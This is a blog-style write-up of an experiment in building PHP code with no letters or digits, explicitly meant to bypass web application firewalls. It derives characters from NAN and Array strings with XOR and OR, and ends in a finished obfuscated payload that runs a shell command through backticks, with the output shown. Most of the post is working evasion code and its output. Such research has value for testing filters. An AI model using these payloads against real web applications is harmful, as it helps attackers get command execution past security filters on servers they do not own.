Generating non-alphanumeric PHP payloads
The other day I was fiddling with PHP on the command line and wondered how difficult it might be to write non-alphanumeric code in PHP as a potential way to bypass Web Application Firewalls. Something like a worse JSFuck, but for PHP!
As this is just an experiment I’ll be happy with a working example that can run shell commands, such as id
.
The first step towards being able to do this is being able to generate strings or single characters using only non alphanumeric syntax. It would prove quite difficult to run the command id
without the letters i and d.
NAN
My initial approach was to try to capture some kind of error message, and divide by zero seemed to work:
'var_dump(0/0);'
php -r PHP Warning: Division by zero in Command line code on line 1
float(NAN)
This can be converted to a string by concatenating it to an empty string:
'var_dump("".(0/0));'
php -r PHP Warning: Division by zero in Command line code on line 1
string(3) "NAN"
And the divide operation can be achieved without numbers by diving an uninitialized variable with itself:
'var_dump("".($_/$_));'
php -r PHP Notice: Undefined variable: _ in Command line code on line 1
PHP Notice: Undefined variable: _ in Command line code on line 1
PHP Warning: Division by zero in Command line code on line 1
string(3) "NAN"
More strings
Using more experimentation I was able to produce a few more values: NULL $_=--$__;var_dump($_);
I was unable to convert this to a string however..
“Array”
'$_="".[];var_dump($_);' php -r
“1”
'$_="".++$__;var_dump($_);' php -r
“2”
'++$__;$_="".++$__;var_dump($_);' php -r
…etc
Alphabet
Now that we have some strings and numbers we can leverage this to build a full alphabet. We can already access the individual characters from a string using array cells and numbers, which gives us ANary12345678890
, but we still don’t have the required characters. We need to manipulate the ones we have to create additional ones. There are several PHP operators that are helpful for this, bitwise shifting
, xor
, or
and and
will let us craft the remaining ones. For example we can craft “O” via bitwise or
of the “A” and “N’ from”NAN":
php -r '$a="NAN";$a=$a[0]|$a[1];var_dump($a);'
string(1) "O"
Expanding on this I used xor values to xor again and got the required characters for to command id
:
“i”
'$m="1"^"9";$a="a"^$m;var_dump($a);' php -r
“d”
'$m="1"^"4";$a="a"^$m;var_dump($a);' php -r
Building a payload
Now that we have several building blocks we can start combining these into our final payload. I tried writing it in non-alphanumeric form directly at first, but it made tracking variables and making frequent changes difficult, so I opted to name variables properly and verify that it worked first, starting by making the i
:
php -r '$one="".++$one;$four++;$four++;$four++;$nine=$four*$four;$nine="".$nine;$three=$four;$four="".++$four;$mod=$one^$nine;$arr="".[];$i=$arr[$three]^$mod;var_dump($i);'
PHP Notice: Array to string conversion in Command line code on line 1
PHP Notice: Undefined variable: one in Command line code on line 1
PHP Notice: Undefined variable: four in Command line code on line 1
string(1) "i"
Next we can add the d
and execute the command:
php -r '$one="".++$one;$four++;$four++;$four++;$nine=$four*$four;$nine="".$nine;$three=$four;$four="".++$four;$mod=$one^$nine;$arr="".[];$i=$arr[$three]^$mod;$mod=$one^$four;$d=$arr[$three]^$mod;$c=`$i$d`;print $c;'
PHP Notice: Array to string conversion in Command line code on line 1
PHP Notice: Undefined variable: one in Command line code on line 1
PHP Notice: Undefined variable: four in Command line code on line 1
uid=1000(eldar) gid=1000(eldar) groups=1000(eldar),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
Then I spotted a way to shorten the code a tiny bit by assigning and accessing the a
char rather than the array cell every time:
php -r '$one="".++$one;$four++;$four++;$four++;$nine=$four*$four;$nine="".$nine;$three=$four;$four="".++$four;$mod=$one^$nine;$a="".[];$a=$a[$three];$i=$a^$mod;$mod=$one^$four;$d=$a^$mod;$c=`$i$d`;print $c;'
I then proceeded to reduce the number of unique variables somewhat, this makes the conversion to non-alphanumeric a little easier:
php -r '$one="".++$one;$four++;$four++;$four++;$nine=$four*$four;$nine="".$nine;$three=$four;$four="".++$four;$mod=$one^$nine;$a="".[];$a=$a[$three];$three=$a^$mod;$mod=$one^$four;$one=$a^$mod;$four=`$three$one`;print $four;'
In order to reduce the payload length I counted the occurrences of each unique variable, to make the most frequent variable have the shortest non-alphanumeric name.
- one - 6
- three - 4
- four - 11
- etc..
then replace four
with _
, one
with __
and so on. Which gives us the final version:
$__="".++$__;$_++;$_++;$_++;$_____=$_*$_;$_____="".$_____;$____=$_;$_="".++$_;$______=$__^$_____;$___="".[];$___=$___[$____];$____=$___^$______;$______=$__^$_;$__=$___^$______;$_=`$____$__`;print $_;
The print statement is just there to prove that it worked and would not be part of the payload as print
(and the space?) is alphanumeric. In conclusion I think there is lots of room for improvements like optimization of alphabet generation and variable reuse for more compact payloads, but I was able to make it work and thats enough for me.